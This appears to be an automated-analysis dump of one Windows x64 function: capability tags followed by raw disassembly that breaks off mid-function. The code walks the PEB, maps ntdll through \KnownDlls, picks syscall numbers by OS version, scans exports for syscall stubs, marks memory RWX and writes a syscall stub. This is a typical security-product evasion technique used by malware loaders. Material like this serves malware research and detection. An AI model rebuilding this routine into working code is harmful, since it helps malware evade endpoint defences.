Function at 0x1400a7840
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for peb beingdebugged flag
Execute shellcode via indirect call
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
xor r13d, r13d
mov dword [rsp + 0x68], 0xb8
xor eax, eax
mov dword [rsp + 0x7c], r13d
lea rdi, [rbp - 0x60]
mov dword [rbp - 0x7c], r13d
mov ecx, socket
mov dword [rsp + 0x6c], 0xd18b4c00
rep stosb byte [rdi], al
lea rdi, [rbp - 0x10]
mov word [rsp + 0x70], 0x50f
mov ecx, 0x104
mov byte [rsp + 0x72], 0xc3
rep stosb byte [rdi], al
lea rax, [rbp - 0x10]
mov qword [rbp + 0x260], r13
mov qword [rbp + 0x258], r13
mov qword [rbp + 0x268], r13
mov dword [rbp - 0x44], r13d
mov dword [rbp - 0x2c], r13d
cmp word [rbp - 0x10], r13w
je 0x1400a78cc
add rax, 2
cmp word [rax], r13w
jne 0x1400a78c2
lea rdx, str.KnownDlls_
mov ecx, 0x5c
sub rdx, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400a78e0
mov word [rax], r13w
lea rax, [rbp - 0x10]
cmp word [rbp - 0x10], r13w
je 0x1400a790a
nop
add rax, 2
cmp word [rax], r13w
jne 0x1400a7900
lea rdx, [0x14013d920]
mov ecx, 0x6e
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400a7920
mov word [rax], r13w
mov ecx, r13d
lea rax, [rbp - 0x10]
cmp word [rbp - 0x10], r13w
je 0x1400a794e
inc ecx
lea rax, [rax + 2]
cmp word [rax], r13w
jne 0x1400a7942
add cx, cx
mov dword [rbp - 0x48], 0x30
mov word [rbp - 0x70], cx
lea rax, [rbp - 0x10]
mov qword [rbp - 0x68], rax
add cx, 2
mov word [rbp - 0x6e], cx
lea rax, [rbp - 0x70]
movaps xmm0, xmmword [rbp - 0x70]
mov r14, r13
movdqa xmmword [rbp - 0x70], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x30], 0x40
mov qword [rbp - 0x38], rax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400a79d1
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400a79c3
call fcn.1400a7710
test rax, rax
jne 0x1400a79cd
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400a79b0
jmp 0x1400a79d1
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwOpenSection
mov qword [rsp + 0x308], r12
mov r15d, 0x5a4d
test r9, r9
je 0x1400a7a86
cmp word [r9], r15w
jne 0x1400a7a86
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400a7a86
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400a7a86
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x1400a7a86
nop word [rax + rax]
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x1400a7a7a
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x1400a7a70
sub rcx, rsi
test al, al
je 0x1400a7a6b
cmp byte [rdx], r13b
je 0x1400a7a70
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400a7a54
jmp 0x1400a7a70
cmp byte [rdx], r13b
je 0x1400a7ac2
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400a7ac2
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400a7a40
mov r12, r13
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400a7ad7
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400a7ab8
call fcn.1400a7710
test rax, rax
jne 0x1400a7ad3
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400a7aa5
jmp 0x1400a7ad7
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x1400a7a89
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwMapViewOfSection
test r9, r9
je 0x1400a7b76
cmp word [r9], r15w
jne 0x1400a7b76
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400a7b76
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400a7b76
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x1400a7b76
nop
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x1400a7b6a
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x1400a7b60
sub rcx, rsi
test al, al
je 0x1400a7b5b
cmp byte [rdx], r13b
je 0x1400a7b60
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400a7b44
jmp 0x1400a7b60
cmp byte [rdx], r13b
je 0x1400a7bb2
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400a7bb2
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400a7b30
mov r15, r13
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400a7bc7
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400a7ba8
call fcn.1400a7710
test rax, rax
jne 0x1400a7bc3
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400a7b95
jmp 0x1400a7bc7
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r9
jmp 0x1400a7b79
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.NtClose
test r9, r9
je 0x1400a7d01
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x1400a7d01
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400a7d01
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400a7d01
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x1400a7d01
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x1400a7c6a
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x1400a7c60
sub rcx, rsi
test al, al
je 0x1400a7c5b
cmp byte [rdx], r13b
je 0x1400a7c60
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400a7c44
jmp 0x1400a7c60
cmp byte [rdx], r13b
je 0x1400a7c7b
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400a7c7b
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400a7c30
jmp 0x1400a7d01
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x1400a7d01
test r15, r15
je 0x1400a7d01
test r12, r12
je 0x1400a7d01
lea r8, [rbp - 0x48]
mov edx, 4
lea rcx, [rbp + 0x258]
call r12
test eax, eax
js 0x1400a7d01
mov rcx, qword [rbp + 0x258]
lea rax, [rbp + 0x268]
mov dword [rsp + 0x48], 2
lea r8, [rbp + 0x260]
mov dword [rsp + 0x40], r13d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r13
call r15
test eax, eax
js 0x1400a7d01
mov rcx, qword [rbp + 0x258]
test rcx, rcx
je 0x1400a7d01
call rdi
mov rax, qword gs:[0x60]
mov r14, r13
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400a7d41
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400a7d33
call fcn.1400a7710
test rax, rax
jne 0x1400a7d3d
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400a7d20
jmp 0x1400a7d41
lea r14, [rdi - 0x10]
mov rsi, qword [rbp + 0x260]
lea r15, str.ZwUnmapViewOfSection
mov r14, qword [r14 + 0x30]
test rsi, rsi
je 0x1400a7eed
test r14, r14
je 0x1400a7eed
mov r12d, 0x5a4d
cmp word [rsi], r12w
jne 0x1400a7e0e
mov eax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400a7e0e
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400a7e0e
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r10d, dword [rax + 0x24]
add rdi, rsi
mov r11d, dword [rax + 0x1c]
add r10, rsi
mov r9d, dword [rax + 0x14]
add r11, rsi
test r9d, r9d
je 0x1400a7e0e
lea rbx, str.NtQueryInformationProcess
nop dword [rax + rax]
mov ecx, dword [rdi]
mov rdx, rbx
add rcx, rsi
je 0x1400a7e02
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x1400a7df4
sub rcx, rbx
test al, al
je 0x1400a7deb
cmp byte [rdx], r13b
je 0x1400a7df4
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400a7dd4
jmp 0x1400a7df4
cmp byte [rdx], r13b
je 0x1400a7e8b
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400a7e8b
inc r8d
add rdi, 4
cmp r8d, r9d
jb 0x1400a7dc0
mov r9, r13
cmp word [r14], r12w
jne 0x1400a7eba
mov eax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x1400a7eba
mov eax, dword [rax + r14 + 0x88]
add rax, r14
je 0x1400a7eba
mov edi, dword [rax + 0x20]
mov r8d, r13d
mov r11d, dword [rax + 0x24]
add rdi, r14
mov ebx, dword [rax + 0x1c]
add r11, r14
mov r10d, dword [rax + 0x14]
add rbx, r14
test r10d, r10d
je 0x1400a7eba
nop dword [rax]
mov ecx, dword [rdi]
mov rdx, r15
add rcx, r14
je 0x1400a7eae
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x1400a7ea4
sub rcx, r15
test al, al
je 0x1400a7e9f
cmp byte [rdx], r13b
je 0x1400a7ea4
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400a7e74
jmp 0x1400a7ea4
movsxd rax, r8d
movzx ecx, word [r10 + rax*2]
mov r9d, dword [r11 + rcx*4]
add r9, rsi
jmp 0x1400a7e11
cmp byte [rdx], r13b
je 0x1400a7ed0
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400a7ed0
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400a7e60
mov rax, r13
mov rdx, rsi
mov rcx, 0xffffffffffffffff
test r9, r9
jne 0x1400a7ee0
call rax
jmp 0x1400a7ef3
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov eax, dword [rbx + rcx*4]
add rax, r14
jmp 0x1400a7ebd
movzx r13d, word [r9 + 4]
mov dword [rbp - 0x80], r13d
call rax
jmp 0x1400a7ef7
mov r12d, 0x5a4d
mov dword [rbp - 0x80], r13d
xor r15d, r15d
mov word [rsp + 0x60], r13w
xor eax, eax
mov qword [rbp + 0x260], r15
lea rdi, [rbp - 0x10]
mov qword [rbp + 0x258], r15
mov ecx, 0x104
mov qword [rbp + 0x268], r15
rep stosb byte [rdi], al
lea rax, [rbp - 0x10]
mov dword [rbp - 0x44], r15d
mov dword [rbp - 0x2c], r15d
cmp word [rbp - 0x10], r15w
je 0x1400a7f3f
add rax, 2
cmp word [rax], r15w
jne 0x1400a7f35
lea rdx, str.KnownDlls_
mov ecx, 0x5c
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x1400a7f50
mov word [rax], r15w
lea rax, [rbp - 0x10]
cmp word [rbp - 0x10], r15w
je 0x1400a7f7a
nop
add rax, 2
cmp word [rax], r15w
jne 0x1400a7f70
lea rdx, [0x14013d920]
mov ecx, 0x6e
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x1400a7f90
mov word [rax], r15w
mov ecx, r15d
lea rax, [rbp - 0x10]
cmp word [rbp - 0x10], r15w
je 0x1400a7fbe
inc ecx
lea rax, [rax + 2]
cmp word [rax], r15w
jne 0x1400a7fb2
add cx, cx
mov dword [rbp - 0x48], 0x30
mov word [rbp - 0x70], cx
lea rax, [rbp - 0x10]
mov qword [rbp - 0x68], rax
add cx, 2
mov word [rbp - 0x6e], cx
lea rax, [rbp - 0x70]
movaps xmm0, xmmword [rbp - 0x70]
mov r14, r15
movdqa xmmword [rbp - 0x70], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x40], r15
mov dword [rbp - 0x30], 0x40
mov qword [rbp - 0x38], rax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400a8041
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400a8033
call fcn.1400a7710
test rax, rax
jne 0x1400a803d
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400a8020
jmp 0x1400a8041
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x1400a80e7
cmp word [r9], r12w
jne 0x1400a80e7
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400a80e7
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400a80e7
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x1400a80e7
lea rsi, str.ZwOpenSection
nop dword [rax]
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x1400a80db
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x1400a80d1
sub rax, rsi
test dl, dl
je 0x1400a80cc
cmp byte [rcx], r15b
je 0x1400a80d1
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x1400a80b5
jmp 0x1400a80d1
cmp byte [rcx], r15b
je 0x1400a8123
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x1400a8123
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400a80a0
mov r12, r15
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400a8138
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400a8119
call fcn.1400a7710
test rax, rax
jne 0x1400a8134
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400a8106
jmp 0x1400a8138
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x1400a80ea
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x1400a81f7
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x1400a81f7
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400a81f7
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400a81f7
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x1400a81f7
lea rsi, str.ZwMapViewOfSection
nop dword [rax]
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x1400a81da
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x1400a81d0
sub rcx, rsi
test al, al
je 0x1400a81cb
cmp byte [rdx], r15b
je 0x1400a81d0
movzx eax, byte [rdx + rcx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400a81b4
jmp 0x1400a81d0
cmp byte [rdx], r15b
je 0x1400a81e8
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400a81e8
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400a81a0
jmp 0x1400a81f7
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r15d, dword [rbx + rcx*4]
add r15, r9
mov rax, qword gs:[0x60]
xor ebx, ebx
mov r14d, ebx
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400a8236
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400a8228
call fcn.1400a7710
test rax, rax
jne 0x1400a8232
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400a8215
jmp 0x1400a8236
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x1400a8372
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x1400a8372
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400a8372
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400a8372
mov edi, dword [rax + 0x20]
xor esi, esi
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, esi
test r10d, r10d
je 0x1400a8372
lea r14, str.NtClose
mov eax, dword [rdi]
mov rcx, r14
add rax, r9
je 0x1400a82dc
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x1400a82d2
sub rax, r14
test dl, dl
je 0x1400a82cd
cmp byte [rcx], sil
je 0x1400a82d2
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x1400a82b6
jmp 0x1400a82d2
cmp byte [rcx], sil
je 0x1400a82ed
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x1400a82ed
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400a82a1
jmp 0x1400a8372
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x1400a8372
test r15, r15
je 0x1400a8372
test r12, r12
je 0x1400a8372
lea r8, [rbp - 0x48]
mov edx, 4
lea rcx, [rbp + 0x258]
call r12
test eax, eax
js 0x1400a8372
mov rcx, qword [rbp + 0x258]
lea rax, [rbp + 0x268]
mov dword [rsp + 0x48], 2
lea r8, [rbp + 0x260]
mov dword [rsp + 0x40], esi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], rsi
call r15
test eax, eax
js 0x1400a8372
mov rcx, qword [rbp + 0x258]
test rcx, rcx
je 0x1400a8372
call rdi
mov rax, qword gs:[0x60]
xor r15d, r15d
mov r14d, r15d
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400a83b2
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400a83a4
call fcn.1400a7710
test rax, rax
jne 0x1400a83ae
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400a8391
jmp 0x1400a83b2
lea r14, [rdi - 0x10]
mov r9, qword [rbp + 0x260]
mov r10, qword [r14 + 0x30]
test r9, r9
je 0x1400a8557
test r10, r10
je 0x1400a8557
mov r12d, 0x5a4d
cmp word [r9], r12w
jne 0x1400a8471
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400a8471
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400a8471
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov ebx, dword [rax + 0x24]
add rdi, r9
mov esi, dword [rax + 0x1c]
add rbx, r9
mov r11d, dword [rax + 0x14]
add rsi, r9
test r11d, r11d
je 0x1400a8471
lea r14, str.NtSetInformationProcess
mov ecx, dword [rdi]
mov rdx, r14
add rcx, r9
je 0x1400a8465
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x1400a8457
sub rcx, r14
test al, al
je 0x1400a844e
cmp byte [rdx], r15b
je 0x1400a8457
movzx eax, byte [rdx + rcx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400a8437
jmp 0x1400a8457
cmp byte [rdx], r15b
je 0x1400a84f7
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400a84f7
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x1400a8423
mov r14, r15
cmp word [r10], r12w
jne 0x1400a8525
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x1400a8525
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x1400a8525
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov ebx, dword [rax + 0x24]
add rdi, r10
mov esi, dword [rax + 0x1c]
add rbx, r10
mov r11d, dword [rax + 0x14]
add rsi, r10
test r11d, r11d
je 0x1400a8525
lea r12, str.ZwUnmapViewOfSection
mov ecx, dword [rdi]
mov rdx, r12
add rcx, r10
je 0x1400a8519
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x1400a850f
sub rcx, r12
nop word [rax + rax]
test al, al
je 0x1400a850a
cmp byte [rdx], r15b
je 0x1400a850f
movzx eax, byte [rdx + rcx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400a84e0
jmp 0x1400a850f
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov r14d, dword [rsi + rcx*4]
add r14, r9
jmp 0x1400a8474
cmp byte [rdx], r15b
je 0x1400a853f
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400a853f
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x1400a84c6
mov rax, r15
mov rdx, r9
mov rcx, 0xffffffffffffffff
test r14, r14
jne 0x1400a854e
call rax
movzx r14d, r15w
jmp 0x1400a855a
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r10
jmp 0x1400a8528
movzx r14d, word [r14 + 4]
call rax
jmp 0x1400a855a
mov r14d, r15d
mov word [rsp + 0x64], r14w
test r13w, r13w
je 0x1400a856c
test r14w, r14w
jne 0x1400a85da
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x1400a85be
cmp al, 6
jne 0x1400a85a8
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x1400a85a8
sub ecx, 1
je 0x1400a859c
cmp ecx, 1
jne 0x1400a85be
lea r13d, [rcx + 0x17]
lea r14d, [rcx + 0x1a]
jmp 0x1400a85ca
mov r13d, reloc.WS2_32.dll_socket
lea r14d, [r13 + 3]
jmp 0x1400a85ca
mov eax, 0x19
mov r13d, socket
movzx r14d, ax
mov word [rsp + 0x64], ax
jmp 0x1400a85d0
mov r13d, 0x19
mov r14d, 0x1c
mov word [rsp + 0x64], r14w
mov word [rsp + 0x60], r13w
mov dword [rbp - 0x80], r13d
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400a8614
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400a8606
call fcn.1400a7710
test rax, rax
jne 0x1400a8610
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x1400a85f3
jmp 0x1400a8614
lea r15, [rdi - 0x10]
mov rsi, qword [r15 + 0x30]
test rsi, rsi
je 0x1400a86d2
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x1400a86d2
mov eax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400a86d2
mov ebx, dword [rax + rsi + 0x88]
add rbx, rsi
je 0x1400a86d2
mov edi, dword [rbx + 0x24]
mov r15d, dword [rbx + 0x1c]
add rdi, rsi
add r15, rsi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r10d, dword [rbx + 0x14]
xor r12d, r12d
mov r9d, eax
mov eax, 0x88888889
mul r9d
shr edx, 4
imul ecx, edx, 0x1e
mov edx, r12d
sub r9d, ecx
mov ecx, r12d
test r10d, r10d
je 0x1400a86d2
nop dword [rax + rax]
movzx eax, word [rdi]
mov r8d, dword [r15 + rax*4]
cmp byte [rsi + r8], 0x4c
lea rax, [rsi + r8]
jne 0x1400a86c7
cmp byte [rax + 1], 0x8b
jne 0x1400a86c7
cmp byte [rax + 2], 0xd1
jne 0x1400a86c7
cmp byte [rax + 3], 0xb8
jne 0x1400a86c7
cmp byte [rax + 0x12], 0xf
jne 0x1400a86c7
cmp byte [rax + 0x13], 5
jne 0x1400a86c7
inc edx
cmp edx, r9d
je 0x1400a86ee
inc ecx
add rdi, 2
cmp ecx, r10d
jb 0x1400a8690
xor al, al
mov r12, qword [rsp + 0x308]
add rsp, 0x310
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rbx, r8
add rbx, rsi
je 0x1400a86d2
lea r9, [rbp - 0x7c]
mov edx, 0x1024
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [rsp + 0x69]
lea rax, [rsp + 0x60]
cmp rcx, rax
jbe 0x1400a8730
lea rcx, [rsp + 0x69]
lea rax, [rsp + 0x62]
nop word [rax + rax]
movzx r15d, byte [rsp + 0x61]
lea rax, [rbp - 0x60]
mov byte [rsp + 0x6a], r15b
mov byte [rsp + 0x69], r13b
cmp rax, rbx
jbe 0x1400a8810
lea rax, [rbx + 0x14]
lea rcx, [rbp - 0x60]
cmp rcx, rax
jae 0x1400a8810
movzx ecx, byte [rax - 2]
movzx esi, byte [rax - 1]
mov byte [rsp + 0x5e], cl
movzx ecx, byte [rax - 3]
mov byte [rsp + 0x5d], cl
movzx ecx, byte [rax - 4]
mov byte [rsp + 0x5c], cl
movzx ecx, byte [rax - 5]
mov byte [rsp + 0x5b], cl
movzx ecx, byte [rax - 6]
mov byte [rsp + 0x5a], cl
movzx ecx, byte [rax - 7]
mov byte [rsp + 0x59], cl
movzx ecx, byte [rax - 8]
mov byte [rsp + 0x58], cl
movzx ecx, byte [rax - 9]
mov byte [rsp + 0x57], cl
movzx ecx, byte [rax - 0xa]
mov byte [rsp + 0x56], cl
movzx ecx, byte [rax - 0xb]
mov byte [rsp + 0x55], cl
movzx ecx, byte [rax - 0xc]
mov byte [rsp + 0x54], cl
movzx ecx, byte [rax - 0xd]
mov byte [rsp + 0x53], cl
movzx ecx, byte [rax - 0xe]
mov byte [rsp + 0x52], cl
movzx ecx, byte [rax - 0xf]
mov byte [rsp + 0x51], cl
movzx ecx, byte [rax - 0x10]
mov byte [rsp + 0x50], cl
movzx ecx, byte [rax - 0x11]
mov byte [rbp + 0x268], cl
movzx ecx, byte [rax - 0x12]
mov byte [rbp + 0x260], cl
movzx ecx, byte [rax - 0x13]
mov byte [rbp + 0x258], cl
movzx ecx, byte [rax - 0x14]
mov byte [rbp + 0x250], cl
mov byte [rsp + 0x78], sil
jmp 0x1400a88b8
movzx eax, byte [rbx]
movzx esi, byte [rbx + 0x13]
mov byte [rbp + 0x250], al
movzx eax, byte [rbx + 1]
mov byte [rbp + 0x258], al
movzx eax, byte [rbx + 2]
mov byte [rbp + 0x260], al
movzx eax, byte [rbx + 3]
mov byte [rbp + 0x268], al
movzx eax, byte [rbx + 4]
mov byte [rsp + 0x50], al
movzx eax, byte [rbx + 5]
mov byte [rsp + 0x51], al
movzx eax, byte [rbx + 6]
mov byte [rsp + 0x52], al
movzx eax, byte [rbx + 7]
mov byte [rsp + 0x53], al
movzx eax, byte [rbx + 8]
mov byte [rsp + 0x54], al
movzx eax, byte [rbx + 9]
mov byte [rsp + 0x55], al
movzx eax, byte [rbx + 0xa]
mov byte [rsp + 0x56], al
movzx eax, byte [rbx + 0xb]
mov byte [rsp + 0x57], al
movzx eax, byte [rbx + 0xc]
mov byte [rsp + 0x58], al
movzx eax, byte [rbx + 0xd]
mov byte [rsp + 0x59], al
movzx eax, byte [rbx + 0xe]
mov byte [rsp + 0x5a], al
movzx eax, byte [rbx + 0xf]
mov byte [rsp + 0x5b], al
movzx eax, byte [rbx + 0x10]
mov byte [rsp + 0x5c], al
movzx eax, byte [rbx + 0x11]
mov byte [rsp + 0x5d], al
movzx eax, byte [rbx + 0x12]
mov byte [rsp + 0x5e], al
mov byte [rsp + 0x78], sil
lea rax, [rsp + 0x68]
cmp rbx, rax
jbe 0x1400a88d0
lea rax, [rsp + 0x73]
nop word [rax + rax]
mov dword [rbx + 7], 0xc3050fd1
lea r8, [rsp + 0x7c]
